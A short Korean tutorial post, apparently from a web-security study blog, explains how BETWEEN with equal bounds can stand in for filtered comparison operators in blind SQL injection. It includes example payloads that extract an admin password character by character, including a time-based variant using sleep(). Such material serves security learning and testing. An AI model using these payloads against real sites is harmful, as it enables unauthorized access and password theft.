본문 바로가기

web

[SQL Injection] BETWEEN 으로 비교연산 실행

'expr' BETWEEN 'a' and 'b

문장은 a <= expr <= b 인 경우 참이 된다.

a와 b를 같은 값을 주게 되면 expr의 값과 같은 경우 참인 경우가 되게 된다.

'=' 또는 '>' 등의 비교연산문이 필터링 된 경우 이를 통해 블라인드 인젝션을 시도할 수 있게 된다.


사용 예)

 select * from user where id='admin' and (substr(pw,1,1) BETWEEN 'a' and 'a')

admin 패스워드의 첫 번째 문자가 a이면 문장이 참이 된다.


 select * from user where id='admin' and (substr(pw,1,1) BETWEEN 'a' and 'a') and !sleep(1)

타임베이스에서는 위 문장과 같이 사용할 수도 있다.

연산의 최적화에 의해서 조건문이 참인 경우 sleep()함수가 동작하게 된다.

이를 통해 참 거짓을 판단할 수 있다.